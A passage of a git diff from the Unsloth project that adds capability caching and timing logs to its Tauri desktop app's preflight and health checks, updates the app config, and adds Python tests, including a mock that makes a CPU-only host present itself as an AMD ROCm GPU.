+                        .path()
+                        .join("site-packages")
+                        .join("unsloth_cli")
+                        .join("commands")
+                        .join("studio.py"),
+                );
+            }
+        }
+    }
+    for marker_name in FALLBACK_MARKER_NAMES {
+        out.push(venv_dir.join(marker_name));
+        out.push(scripts_dir.join(marker_name));
+    }
+
+    out.push(
+        venv_dir
+            .join("Lib")
+            .join("site-packages")
+            .join("unsloth_cli")
+            .join("commands")
+            .join("studio.py"),
+    );
+    out
+}
+
+fn managed_bin_fingerprint(bin: &Path) -> Option<ManagedBinFingerprint> {
+    let bin_metadata = fs::metadata(bin).ok()?;
+    let bin_path = bin
+        .canonicalize()
+        .unwrap_or_else(|_| bin.to_path_buf())
+        .to_string_lossy()
+        .into_owned();
+
+    let studio_root_id = crate::desktop_backend_owner::read_expected_studio_root_id();
+    let mut marker_entries: Vec<MarkerFingerprint> = marker_candidates_for_bin(bin)
+        .into_iter()
+        .filter_map(|path| {
+            let metadata = fs::metadata(&path).ok()?;
+            Some(MarkerFingerprint {
+                path: path
+                    .canonicalize()
+                    .unwrap_or(path.clone())
+                    .to_string_lossy()
+                    .into_owned(),
+                size: metadata.len(),
+                mtime_ms: modified_ms(&metadata)?,
+                content_hash: marker_content_hash(&path, &metadata),
+            })
+        })
+        .collect();
+    marker_entries.sort_by(|left, right| left.path.cmp(&right.path));
+    let marker_hash = marker_entries
+        .iter()
+        .fold(FNV64_OFFSET_BASIS, |hash, marker| {
+            let next = hash_bytes(hash, marker.path.as_bytes());
+            let next = hash_bytes(next, &marker.size.to_le_bytes());
+            let next = hash_bytes(next, &marker.mtime_ms.to_le_bytes());
+            if let Some(content_hash) = marker.content_hash {
+                hash_bytes(next, &content_hash.to_le_bytes())
+            } else {
+                next
+            }
+        });
+    let marker_path = (!marker_entries.is_empty()).then(|| "markers".to_string());
+    let marker_size = (!marker_entries.is_empty()).then(|| marker_entries.len() as u64);
+    let marker_mtime_ms = (!marker_entries.is_empty()).then_some(marker_hash);
+
+    Some(ManagedBinFingerprint {
+        bin_path,
+        bin_size: bin_metadata.len(),
+        bin_mtime_ms: modified_ms(&bin_metadata)?,
+        studio_root_id,
+        marker_path,
+        marker_size,
+        marker_mtime_ms,
+    })
+}
+
+fn capability_cache_path() -> Option<PathBuf> {
+    dirs::home_dir().map(|home| {
+        home.join(".unsloth")
+            .join("studio")
+            .join("desktop_capability_cache.json")
+    })
+}
+
+fn cache_matches(cache: &ManagedCapabilityCache, fingerprint: &ManagedBinFingerprint) -> bool {
+    cache.schema == MANAGED_CAPABILITY_CACHE_SCHEMA
+        && cache.desktop_protocol_version == DESKTOP_PROTOCOL_VERSION
+        && cache.desktop_manageability_version == DESKTOP_MANAGEABILITY_VERSION
+        && cache.bin_path == fingerprint.bin_path
+        && cache.bin_size == fingerprint.bin_size
+        && cache.bin_mtime_ms == fingerprint.bin_mtime_ms
+        && cache.studio_root_id == fingerprint.studio_root_id
+        && cache.marker_path == fingerprint.marker_path
+        && cache.marker_size == fingerprint.marker_size
+        && cache.marker_mtime_ms == fingerprint.marker_mtime_ms
+        && desktop_capability_ready(&cache.capability)
+}
+
+fn read_cached_capability(fingerprint: &ManagedBinFingerprint) -> Option<DesktopCapability> {
+    let path = capability_cache_path()?;
+    let bytes = fs::read(path).ok()?;
+    let cache = serde_json::from_slice::<ManagedCapabilityCache>(&bytes).ok()?;
+    if cache_matches(&cache, fingerprint) {
+        Some(cache.capability)
+    } else {
+        None
+    }
+}
+
+fn write_cached_capability(fingerprint: &ManagedBinFingerprint, capability: &DesktopCapability) {
+    let Some(path) = capability_cache_path() else {
+        return;
+    };
+    let cache = ManagedCapabilityCache {
+        schema: MANAGED_CAPABILITY_CACHE_SCHEMA,
+        bin_path: fingerprint.bin_path.clone(),
+        bin_size: fingerprint.bin_size,
+        bin_mtime_ms: fingerprint.bin_mtime_ms,
+        studio_root_id: fingerprint.studio_root_id.clone(),
+        marker_path: fingerprint.marker_path.clone(),
+        marker_size: fingerprint.marker_size,
+        marker_mtime_ms: fingerprint.marker_mtime_ms,
+        desktop_protocol_version: DESKTOP_PROTOCOL_VERSION,
+        desktop_manageability_version: DESKTOP_MANAGEABILITY_VERSION,
+        capability: capability.clone(),
+    };
+    if let Some(parent) = path.parent() {
+        if fs::create_dir_all(parent).is_err() {
+            return;
+        }
+    }
+    let Ok(bytes) = serde_json::to_vec_pretty(&cache) else {
+        return;
+    };
+    if let Err(error) = fs::write(&path, bytes) {
+        warn!(
+            "Managed preflight: could not write capability cache: {}",
+            error
+        );
+    }
+}
+
 async fn run_cli_probe(bin: &Path, args: &[&str]) -> bool {
+    let started = Instant::now();
     let mut cmd = Command::new(bin);
     cmd.args(args).stdout(Stdio::null()).stderr(Stdio::null());
 
@@ -43,20 +277,33 @@ async fn run_cli_probe(bin: &Path, args: &[&str]) -> bool {
     }
 
     let Ok(mut child) = cmd.spawn() else {
+        info!(
+            "Managed preflight probe {:?} failed to spawn in {}ms",
+            args,
+            started.elapsed().as_millis()
+        );
         return false;
     };
 
-    match tokio::time::timeout(Duration::from_secs(10), child.wait()).await {
+    let ok = match tokio::time::timeout(Duration::from_secs(10), child.wait()).await {
         Ok(Ok(status)) => status.success(),
         _ => {
             let _ = child.kill().await;
             let _ = child.wait().await;
             false
         }
-    }
+    };
+    info!(
+        "Managed preflight probe {:?} finished ok={} in {}ms",
+        args,
+        ok,
+        started.elapsed().as_millis()
+    );
+    ok
 }
 
 async fn probe_cli_capability(bin: &Path) -> Option<DesktopCapability> {
+    let started = Instant::now();
     let mut cmd = Command::new(bin);
     cmd.args(["studio", "desktop-capabilities", "--json"])
         .stdout(Stdio::piped())
@@ -81,6 +328,10 @@ async fn probe_cli_capability(bin: &Path) -> Option<DesktopCapability> {
     }
 
     let Ok(mut child) = cmd.spawn() else {
+        info!(
+            "Managed desktop-capabilities probe failed to spawn in {}ms",
+            started.elapsed().as_millis()
+        );
         return None;
     };
     let Some(mut stdout) = child.stdout.take() else {
@@ -92,9 +343,19 @@ async fn probe_cli_capability(bin: &Path) -> Option<DesktopCapability> {
         Err(_) => {
             let _ = child.kill().await;
             let _ = child.wait().await;
+            info!(
+                "Managed desktop-capabilities probe timed out in {}ms",
+                started.elapsed().as_millis()
+            );
+            return None;
+        }
+        _ => {
+            info!(
+                "Managed desktop-capabilities probe exited unsuccessfully in {}ms",
+                started.elapsed().as_millis()
+            );
             return None;
         }
-        _ => return None,
     }
 
     let mut output = Vec::new();
@@ -102,7 +363,13 @@ async fn probe_cli_capability(bin: &Path) -> Option<DesktopCapability> {
         return None;
     }
 
-    serde_json::from_slice::<DesktopCapability>(&output).ok()
+    let capability = serde_json::from_slice::<DesktopCapability>(&output).ok();
+    info!(
+        "Managed desktop-capabilities probe finished ok={} in {}ms",
+        capability.is_some(),
+        started.elapsed().as_millis()
+    );
+    capability
 }
 
 fn desktop_capability_stale_reason(capability: &DesktopCapability) -> Option<String> {
@@ -132,18 +399,48 @@ fn desktop_capability_ready(capability: &DesktopCapability) -> bool {
 }
 
 pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
+    let started = Instant::now();
     if !run_cli_probe(&bin, &["-h"]).await {
+        info!(
+            "Managed preflight: cli unusable for {:?} in {}ms",
+            bin,
+            started.elapsed().as_millis()
+        );
         return ManagedProbe::Stale {
             bin,
             reason: "cli_unusable".to_string(),
         };
     }
 
-    let capability = probe_cli_capability(&bin).await;
-    if let Some(capability) = capability {
-        if desktop_capability_ready(&capability) {
+    if let Some(fingerprint) = managed_bin_fingerprint(&bin) {
+        if read_cached_capability(&fingerprint).is_some() {
+            info!(
+                "Managed preflight: using cached desktop capability for {:?} in {}ms",
+                bin,
+                started.elapsed().as_millis()
+            );
             return ManagedProbe::Ready { bin };
         }
+    }
+
+    let capability = probe_cli_capability(&bin).await;
+    if let Some(capability) = capability {
+        if let Some(fingerprint) = managed_bin_fingerprint(&bin) {
+            write_cached_capability(&fingerprint, &capability);
+        }
+        if desktop_capability_ready(&capability) {
+            info!(
+                "Managed preflight: cli ready for {:?} in {}ms",
+                bin,
+                started.elapsed().as_millis()
+            );
+            return ManagedProbe::Ready { bin };
+        }
+        info!(
+            "Managed preflight: cli stale for {:?} in {}ms",
+            bin,
+            started.elapsed().as_millis()
+        );
         return ManagedProbe::Stale {
             bin,
             reason: desktop_capability_stale_reason(&capability)
@@ -151,6 +448,11 @@ pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
         };
     }
 
+    info!(
+        "Managed preflight: desktop capability probe failed for {:?} in {}ms",
+        bin,
+        started.elapsed().as_millis()
+    );
     ManagedProbe::Stale {
         bin,
         reason: "desktop_capability_probe_failed".to_string(),
@@ -158,10 +460,17 @@ pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
 }
 
 pub(super) async fn probe_managed_install() -> ManagedProbe {
-    match crate::process::find_unsloth_binary() {
+    let started = Instant::now();
+    let result = match crate::process::find_unsloth_binary() {
         Some(bin) => probe_managed_bin(bin).await,
         None => ManagedProbe::Missing,
-    }
+    };
+    info!(
+        "Managed preflight: install probe result {:?} in {}ms",
+        result,
+        started.elapsed().as_millis()
+    );
+    result
 }
 
 pub async fn managed_install_ready() -> bool {
diff --git a/studio/src-tauri/src/process.rs b/studio/src-tauri/src/process.rs
index 01ef77f098..56d9dd2e21 100644
--- a/studio/src-tauri/src/process.rs
+++ b/studio/src-tauri/src/process.rs
@@ -735,6 +735,7 @@ pub fn start_backend(
 }
 
 async fn generic_backend_health_ok(port: u16) -> bool {
+    let started = std::time::Instant::now();
     let client = match reqwest::Client::builder()
         .timeout(Duration::from_secs(2))
         .build()
@@ -745,49 +746,75 @@ async fn generic_backend_health_ok(port: u16) -> bool {
             return false;
         }
     };
-    let response = match client
-        .get(format!("http://127.0.0.1:{port}/api/health"))
-        .send()
-        .await
-    {
-        Ok(response) => response,
-        Err(error) => {
+    let mut last_status = None;
+    let mut json = None;
+    for path in ["/api/liveness", "/api/health"] {
+        let response = match client
+            .get(format!("http://127.0.0.1:{port}{path}"))
+            .send()
+            .await
+        {
+            Ok(response) => response,
+            Err(error) => {
+                warn!(
+                    "Backend port candidate {} failed health request: {}",
+                    port, error
+                );
+                return false;
+            }
+        };
+        if response.status() == reqwest::StatusCode::NOT_FOUND && path == "/api/liveness" {
+            last_status = Some(response.status());
+            continue;
+        }
+        if !response.status().is_success() {
             warn!(
-                "Backend port candidate {} failed health request: {}",
-                port, error
+                "Backend port candidate {} returned HTTP {} from health",
+                port,
+                response.status()
             );
             return false;
         }
-    };
-    if !response.status().is_success() {
+        json = match response.json::<serde_json::Value>().await {
+            Ok(json) => Some(json),
+            Err(error) => {
+                warn!(
+                    "Backend port candidate {} returned invalid health JSON: {}",
+                    port, error
+                );
+                return false;
+            }
+        };
+        break;
+    }
+    let Some(json) = json else {
         warn!(
             "Backend port candidate {} returned HTTP {} from health",
             port,
-            response.status()
+            last_status
+                .map(|status| status.to_string())
+                .unwrap_or_else(|| "unknown".to_string())
         );
         return false;
-    }
-    let json = match response.json::<serde_json::Value>().await {
-        Ok(json) => json,
-        Err(error) => {
-            warn!(
-                "Backend port candidate {} returned invalid health JSON: {}",
-                port, error
-            );
-            return false;
-        }
     };
-    let healthy = json
+    let live = json
         .get("status")
         .and_then(|v| v.as_str())
-        .map(|s| s == "healthy")
+        .map(|s| s == "alive" || s == "healthy")
         .unwrap_or(false);
     let service = json
         .get("service")
         .and_then(|v| v.as_str())
         .map(|s| s == "Unsloth UI Backend")
         .unwrap_or(false);
-    healthy && service
+    info!(
+        "Backend port candidate {} liveness live={} service={} in {}ms",
+        port,
+        live,
+        service,
+        started.elapsed().as_millis()
+    );
+    live && service
 }
 
 async fn validate_candidate_port(
@@ -798,6 +825,7 @@ async fn validate_candidate_port(
     generation: u64,
     port: u16,
 ) {
+    let started = std::time::Instant::now();
     let owner = {
         let proc = match state.lock() {
             Ok(proc) => proc,
@@ -852,6 +880,14 @@ async fn validate_candidate_port(
         }
     };
 
+    info!(
+        "Validated backend port candidate {} valid={} emit={} in {}ms",
+        port,
+        valid,
+        should_emit,
+        started.elapsed().as_millis()
+    );
+
     if should_emit {
         diagnostics::record_backend_port(&diagnostics_state, &session_id, port);
         info!("Validated backend port: {}", port);
diff --git a/studio/src-tauri/tauri.conf.json b/studio/src-tauri/tauri.conf.json
index 44fccaa447..51c4860e3c 100644
--- a/studio/src-tauri/tauri.conf.json
+++ b/studio/src-tauri/tauri.conf.json
@@ -22,17 +22,21 @@
       {
         "label": "main",
         "title": "Unsloth Studio (Desktop)",
-        "width": 690,
-        "height": 480,
+        "width": 760,
+        "height": 560,
         "center": true,
         "visible": false,
-        "resizable": false
+        "resizable": false,
+        "decorations": true,
+        "titleBarStyle": "Overlay",
+        "trafficLightPosition": { "x": 14, "y": 24 },
+        "hiddenTitle": true
       }
     ]
   },
   "plugins": {
     "updater": {
-      "pubkey": "dW50cnVzdGVkIGNvbW1lbnQ6IG1pbmlzaWduIHB1YmxpYyBrZXk6IEQ2RDhGMDMzNDNEMTlGMkQKUldRdG45RkRNL0RZMXZsaVo2TElUQlVHb1hVNWEyajhUOGFXeTdNVDFZTFdBVUtlZUh5L2wwWVYK",
+      "pubkey": "dW50cnVzdGVkIGNvbW1lbnQ6IG1pbmlzaWduIHB1YmxpYyBrZXk6IDE0NjlBNkEwQTc0QjY0Q0UKUldUT1pFdW5vS1pwRkl3TXRrOGlYdDNMeTh1bEhSbURrM3IyT2lTK1BiekpTc0Z2SXZFeVNibDIK",
       "endpoints": [
         "https://github.com/unslothai/unsloth/releases/download/desktop-latest/latest.json"
       ],
@@ -72,6 +76,9 @@
       }
     },
     "linux": {
+      "appimage": {
+        "bundleMediaFramework": false
+      },
       "deb": {
         "postRemoveScript": "./linux/postremove.sh"
       }
diff --git a/tests/_zoo_rocm_spoof.py b/tests/_zoo_rocm_spoof.py
new file mode 100644
index 0000000000..050191e9d1
--- /dev/null
+++ b/tests/_zoo_rocm_spoof.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""ROCm/RDNA spoof: present torch as an AMD Radeon (RDNA 2/3/4) card on a
+GPU-less host, so hip paths (device_type -> "hip", llama.cpp ROCm bundle) are
+testable in CPU-only CI with no AMD hardware. The ROCm sibling of
+_zoo_aggressive_cuda_spoof.py: it reuses that spoof's torch.cuda no-op machinery
+and overlays the AMD identity (torch.version.hip, gcnArchName, Radeon name).
+Apply BEFORE importing unsloth/unsloth_zoo, since DEVICE_TYPE is cached there.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import os
+import sys
+
+# gfx -> (marketing name, (capability major, minor), torch.version.hip). hip is
+# the ROCm build torch was made against (RDNA2/3 ship 6.x; gfx1102/115x/RDNA4 7.2).
+_PROFILES: dict[str, tuple[str, tuple[int, int], str]] = {
+    "gfx1030": ("AMD Radeon RX 6900 XT", (10, 3), "6.4.43483"),  # RDNA2
+    "gfx1031": ("AMD Radeon RX 6700 XT", (10, 3), "6.4.43483"),
+    "gfx1032": ("AMD Radeon RX 6600", (10, 3), "6.4.43483"),
+    "gfx1034": ("AMD Radeon RX 6400", (10, 3), "6.4.43483"),
+    "gfx1100": ("AMD Radeon RX 7900 XTX", (11, 0), "6.4.43483"),  # RDNA3
+    "gfx1101": ("AMD Radeon RX 7800 XT", (11, 0), "6.4.43483"),
+    "gfx1102": ("AMD Radeon RX 7600", (11, 0), "7.2.1"),
+    "gfx1150": ("AMD Radeon 890M", (11, 5), "7.2.1"),  # RDNA3.5 APU
+    "gfx1151": ("AMD Radeon 8060S", (11, 5), "7.2.1"),
+    "gfx1200": ("AMD Radeon RX 9060 XT", (12, 0), "7.2.1"),  # RDNA4
+    "gfx1201": ("AMD Radeon RX 9070 XT", (12, 0), "7.2.1"),
+}
+
+
+def _cuda_spoof():
+    """Load the sibling CUDA spoof by path (robust to sys.path), so we reuse its
+    torch.cuda machinery instead of duplicating it."""
+    if "_zoo_aggressive_cuda_spoof" in sys.modules:
+        return sys.modules["_zoo_aggressive_cuda_spoof"]
+    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_zoo_aggressive_cuda_spoof.py")
+    spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", path)
+    mod = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(mod)
+    sys.modules["_zoo_aggressive_cuda_spoof"] = mod
+    return mod
+
+
+def apply(gfx: str = "gfx1100", device_count: int = 1) -> None:
+    """Present torch as `gfx`. Re-callable to switch arch (identity is overlaid;
+    the underlying no-op machinery is applied once)."""
+    import torch
+
+    if gfx not in _PROFILES:
+        raise KeyError(f"Unknown gfx {gfx!r}; known: {', '.join(_PROFILES)}")
+    name, cap, hip = _PROFILES[gfx]
+
+    _cuda_spoof().apply()  # is_available/device_count/streams/rng/amp/...
+
+    # Overlay the AMD identity on top of the (NVIDIA-shaped) CUDA spoof.
+    torch.version.hip = hip
+    torch.version.cuda = None
+    torch.cuda.device_count = lambda: device_count
+    torch.cuda.get_device_name = lambda *a, **k: name
+    torch.cuda.get_device_capability = lambda *a, **k: cap
+    torch.cuda.get_arch_list = lambda: [gfx]
+
+    class _Props:
+        pass
+
+    _p = _Props()
+    _p.name = name
+    _p.gcnArchName = f"{gfx}:sramecc-:xnack-"  # ROCm advertises feature flags
+    _p.major, _p.minor = cap
+    _p.total_memory = 16 * 1024**3
+    _p.multi_processor_count = 40
+    _p.warp_size = 32  # RDNA wavefront (CDNA is 64)
+    _p.is_integrated = gfx in ("gfx1150", "gfx1151")
+    _p.is_multi_gpu_board = False
+    torch.cuda.get_device_properties = lambda *a, **k: _p
+
+
+if __name__ == "__main__":
+    apply()
+    import torch
+    print("ROCm spoof applied:", torch.version.hip, torch.cuda.get_device_properties(0).gcnArchName)
diff --git a/tests/python/test_change_system_message.py b/tests/python/test_change_system_message.py
new file mode 100644
index 0000000000..7edd873a8d
--- /dev/null
+++ b/tests/python/test_change_system_message.py
@@ -0,0 +1,71 @@
+import ast
+import re
+import types
+from pathlib import Path
+
+import pytest
+
+
+def _load_change_system_message():
+    # Extract _change_system_message without importing unsloth (needs unsloth_zoo / a GPU).
+    source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "_change_system_message"
+    ]
+    namespace = {
+        "re": re,
+        "logger": types.SimpleNamespace(warning_once = lambda *a, **k: None),
+        "DEFAULT_SYSTEM_MESSAGE": {"unsloth": "You are a helpful assistant to the user"},
+    }
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["_change_system_message"]
+
+
+CUSTOM = "mycustom"  # no predefined default
+
+
+def test_custom_template_fills_placeholder():
+    # A {system_message} placeholder must be filled, not left literal.
+    fn = _load_change_system_message()
+    template, used = fn("System: {system_message}\nUser:", CUSTOM, "You are a pirate")
+    assert template == "System: You are a pirate\nUser:"
+    assert "{system_message}" not in template
+    assert used == "You are a pirate"
+
+
+def test_custom_template_preserves_backslashes():
+    # str.replace not re.sub: re.sub treats backslashes specially (r"C:\Users"
+    # bad-escape, r"\1" group ref), so messages must be inserted verbatim.
+    fn = _load_change_system_message()
+    for msg in (r"C:\Users\me", r"\frac{a}{b}", r"see \1 here"):
+        template, used = fn("System: {system_message}", CUSTOM, msg)
+        assert template == f"System: {msg}"
+        assert used == msg
+
+
+def test_custom_template_requires_system_message():
+    # A placeholder with no system message must raise, not stay literal.
+    fn = _load_change_system_message()
+    with pytest.raises(ValueError):
+        fn("System: {system_message}", CUSTOM, None)
+
+
+def test_custom_template_without_placeholder_unchanged():
+    fn = _load_change_system_message()
+    template, used = fn("System: fixed", CUSTOM, "ignored")
+    assert template == "System: fixed"
+
+
+def test_predefined_template_uses_default_then_override():
+    # Predefined templates with a default are unaffected.
+    fn = _load_change_system_message()
+    t1, u1 = fn("System: {system_message}", "unsloth", None)
+    assert t1 == "System: You are a helpful assistant to the user"
+    t2, u2 = fn("System: {system_message}", "unsloth", "Custom override")
+    assert t2 == "System: Custom override"
+    assert u2 == "Custom override"
diff --git a/tests/python/test_construct_chat_template_validation.py b/tests/python/test_construct_chat_template_validation.py
index 2b1d012d14..66d3d80920 100644
--- a/tests/python/test_construct_chat_template_validation.py
+++ b/tests/python/test_construct_chat_template_validation.py
@@ -7,6 +7,8 @@ not silently drop the last char via s[:-1]. A minimal fake tokenizer keeps
 the cases CPU-only (no HF_TOKEN, no gated download).
 """
 
+from types import SimpleNamespace
+
 import pytest
 
 from unsloth.chat_templates import construct_chat_template
@@ -67,3 +69,38 @@ def test_error_message_excerpt_is_bounded():
     # Excerpt is capped well under the template length.
     assert len(msg) < 1000
     assert "{OUTPUT}" in msg
+
+
+class _SuccessFakeTokenizer(_FakeTokenizer):
+    """Adds the surface construct_chat_template touches on the success path."""
+
+    bos_token = "<s>"
+    bos_token_id = 1
+    added_tokens_decoder: dict = {}
+
+    def __call__(self, text):
+        # input_ids[0] must differ from bos_token_id so the BOS-handling branch is skipped.
+        return SimpleNamespace(input_ids = [5])
+
+
+@pytest.mark.parametrize(
+    "chat_template",
+    [
+        # User turn begins with {INPUT} (no prefix before the sentinel).
+        "{INPUT} [/INST] {OUTPUT}</s>{INPUT} [/INST] {OUTPUT}</s>",
+        # Assistant turn begins with {OUTPUT} (no prefix before the sentinel).
+        "User: {INPUT}\n{OUTPUT}</s>User: {INPUT}\n{OUTPUT}</s>",
+    ],
+)
+def test_chat_template_does_not_leak_sentinel_when_section_starts_with_it(chat_template):
+    """When an input/output section begins with the {INPUT}/{OUTPUT} sentinel, the
+    generated Jinja template must not keep the literal sentinel text. The `startswith`
+    branch in the internal `process()` helper used to slice from `find()` (which is 0
+    here) instead of past the sentinel, re-including the literal `{INPUT}`/`{OUTPUT}`."""
+    _, jinja_template, _, _ = construct_chat_template(
+        tokenizer = _SuccessFakeTokenizer(),
+        chat_template = chat_template,
+        extra_eos_tokens = ["</s>"],
+    )
+    assert "{INPUT}" not in jinja_template
+    assert "{OUTPUT}" not in jinja_template
diff --git a/tests/python/test_cpo_processor_text_tokenizer.py b/tests/python/test_cpo_processor_text_tokenizer.py
new file mode 100644
index 0000000000..69316e042d
--- /dev/null
+++ b/tests/python/test_cpo_processor_text_tokenizer.py
@@ -0,0 +1,99 @@
+"""CPO shares ORPO's row-tokenization replacements (issue #4952).
+
+CPOTrainer reuses ORPO's tokenize/init code, so the ORPO rewriters must also be
+registered for cpo_trainer. The rewriters themselves are covered by
+test_orpo_processor_text_tokenizer.py; here we just check cpo mirrors orpo.
+Static, CPU-only, no torch.
+"""
+
+import ast
+import os
+
+
+REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
+RL_PATH = os.path.join(REPO_ROOT, "unsloth", "models", "rl_replacements.py")
+
+
+def _registrations(source):
+    """Map each RL_FUNCTIONS[key] target to the appended function names."""
+    out = {}
+    for node in ast.walk(ast.parse(source)):
+        if not isinstance(node, ast.Expr):
+            continue
+        call = node.value
+        if not (isinstance(call, ast.Call) and isinstance(call.func, ast.Attribute)):
+            continue
+        if call.func.attr != "append":
+            continue
+        sub = call.func.value
+        if not (isinstance(sub, ast.Subscript) and isinstance(sub.value, ast.Name)):
+            continue
+        if sub.value.id != "RL_FUNCTIONS":
+            continue
+        key = sub.slice
+        if not (isinstance(key, ast.Constant) and isinstance(key.value, str)):
+            continue
+        arg = call.args[0]
+        if isinstance(arg, ast.Name):
+            out.setdefault(key.value, []).append(arg.id)
+    return out
+
+
+def test_cpo_registration_matches_orpo():
+    regs = _registrations(open(RL_PATH).read())
+    shared = {"orpo_trainer_text_tokenizer", "orpo_trainer_processor_pad_token"}
+    assert shared <= set(regs.get("orpo_trainer", []))
+    assert shared <= set(regs.get("cpo_trainer", []))
+
+
+def _load_pad_rewriter():
+    """Exec orpo_trainer_processor_pad_token (+ _PAD_FALLBACK) without importing unsloth."""
+    tree = ast.parse(open(RL_PATH).read())
+    nodes = []
+    for n in tree.body:
+        if isinstance(n, ast.Assign) and any(
+            getattr(t, "id", None) == "_PAD_FALLBACK" for t in n.targets
+        ):
+            nodes.append(n)
+        elif isinstance(n, ast.FunctionDef) and n.name == "orpo_trainer_processor_pad_token":
+            nodes.append(n)
+    import re as _re
+
+    ns = {"re": _re}
+    exec(compile(ast.Module(body = nodes, type_ignores = []), RL_PATH, "exec"), ns)
+    return ns["orpo_trainer_processor_pad_token"]
+
+
+def test_pad_token_default_routed_through_inner_tokenizer():
+    # TRL 1.x CPO/ORPO __init__ defaults pad_token from eos_token before
+    # tokenizing; on a multimodal processor those live on `.tokenizer`. The
+    # rewrite must route both the default and pad_token_id through the inner
+    # tokenizer so a processor without bare pad_token does not AttributeError.
+    rewrite = _load_pad_rewriter()
+    init_src = (
+        "def __init__(self, model, args, processing_class):\n"
+        "    if processing_class.pad_token is None:\n"
+        "        processing_class.pad_token = processing_class.eos_token\n"
+        "    self.pad_token_id = processing_class.pad_token_id\n"
+    )
+    out = rewrite("__init__", init_src)
+    assert "if processing_class.pad_token is None:" not in out
+    assert "processing_class.pad_token = processing_class.eos_token" not in out
+    assert "_unsloth_proc_tok = getattr(processing_class, 'tokenizer', processing_class)" in out
+    # bare pad_token_id must be routed through the getattr fallback, not left raw
+    assert "= processing_class.pad_token_id\n" not in out
+    ast.parse(out)  # rewritten source still compiles
+
+
+def test_pad_rewrite_noop_without_bare_pad_block():
+    # Older TRL (the pinned <=0.24.0 range) has no bare pad_token block; the
+    # rewrite must only touch pad_token_id and leave everything else intact.
+    rewrite = _load_pad_rewriter()
+    init_src = (
+        "def __init__(self, model, args, processing_class):\n"
+        "    self.pad_token_id = processing_class.pad_token_id\n"
+    )
+    out = rewrite("__init__", init_src)
+    assert "_unsloth_proc_tok" not in out
+    assert "= processing_class.pad_token_id\n" not in out  # still routed via fallback
+    ast.parse(out)
diff --git a/tests/python/test_e2e_no_torch_sandbox.py b/tests/python/test_e2e_no_torch_sandbox.py
index 23d4a2c2b3..f412de2063 100644
--- a/tests/python/test_e2e_no_torch_sandbox.py
+++ b/tests/python/test_e2e_no_torch_sandbox.py
@@ -866,13 +866,11 @@ class TestInstallPythonStackFiltering:
 
         result_path = ips._filter_requirements(extras, ips.NO_TORCH_SKIP_PACKAGES)
         filtered = Path(result_path).read_text(encoding = "utf-8").lower()
+        lines = [
+            l.strip() for l in filtered.splitlines() if l.strip() and not l.strip().startswith("#")
+        ]
 
-        for pkg in ["torch-stoi", "timm", "openai-whisper", "transformers-cfg"]:
-            lines = [
-                l.strip()
-                for l in filtered.splitlines()
-                if l.strip() and not l.strip().startswith("#")
-            ]
+        for pkg in ips.NO_TORCH_SKIP_PACKAGES:
             assert not any(
                 l.startswith(pkg) for l in lines
             ), f"{pkg} should be removed from extras.txt"
diff --git a/tests/python/test_grpo_ddp_model_config.py b/tests/python/test_grpo_ddp_model_config.py
new file mode 100644
index 0000000000..5af31f65b8
--- /dev/null
+++ b/tests/python/test_grpo_ddp_model_config.py
@@ -0,0 +1,31 @@
+"""GRPO logit-scaling helpers must read config through DDP wrappers."""
+
+from __future__ import annotations
+
+import os
+
+REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir))
+SOURCE_PATH = os.path.join(REPO_ROOT, "unsloth", "models", "rl_replacements.py")
+
+
+def _read_source() -> str:
+    with open(SOURCE_PATH, "r") as fh:
+        return fh.read()
+
+
+def test_grpo_logit_scaling_uses_model_config_helper():
+    src = _read_source()
+    # Helper exists and unwraps DDP/Accelerate wrappers via `.module`.
+    assert "def _unsloth_get_model_config(model):" in src
+    assert 'getattr(model.module, "config", None)' in src
+    # Softcapping takes the model and tolerates a missing config.
+    assert "logit_softcapping = _unsloth_get_final_logit_softcapping(model)" in src
+    assert "if config is None:" in src.split("def _unsloth_get_final_logit_softcapping")[1]
+    # Logit scale/divide read through the unwrapped config, not bare model.config.
+    assert 'getattr(model_config, "logit_scale", 0)' in src
+    assert 'getattr(model_config, "logits_scaling", 0)' in src
+    assert src.count("model_config = _unsloth_get_model_config(model)") >= 2
+    # Helper source is injected into the compiled GRPO trainer.
+    assert "inspect.getsource(_unsloth_get_model_config)" in src
+    # No direct model.config access remains in the RL logit path.
+    assert "model.config" not in src
diff --git a/tests/python/test_install_python_stack.py b/tests/python/test_install_python_stack.py
index f1a090eac9..9015ff8c9d 100644
--- a/tests/python/test_install_python_stack.py
+++ b/tests/python/test_install_python_stack.py
@@ -2,9 +2,11 @@
 
 from __future__ import annotations
 
+import glob
 import importlib
 import os
 import sys
+import tempfile
 from pathlib import Path
 from unittest import mock
 
@@ -51,3 +53,98 @@ class TestBuildUvCmdTorchBackend:
         assert not any(
             a.startswith("--torch-backend") for a in cmd
         ), f"Empty UV_TORCH_BACKEND should not add flag, got: {cmd}"
+
+
+class TestUvSafePath:
+    """_uv_safe_path hands uv a space-free `-c`/`-r` path (issue #6503)."""
+
+    def test_passthrough_when_no_space(self):
+        """A path without a space is returned unchanged on every platform."""
+        p = "/tmp/plain/constraints.txt"
+        assert ips._uv_safe_path(p) == p
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_posix_space_path_returns_spacefree_copy(self, tmp_path):
+        src = tmp_path / "Open Source" / "constraints.txt"
+        src.parent.mkdir(parents = True)
+        src.write_text("torch>=2.6\n")
+
+        out = ips._uv_safe_path(str(src))
+
+        assert " " not in out, f"uv-safe path still has a space: {out!r}"
+        assert out != str(src)
+        assert Path(out).read_text() == "torch>=2.6\n"
+
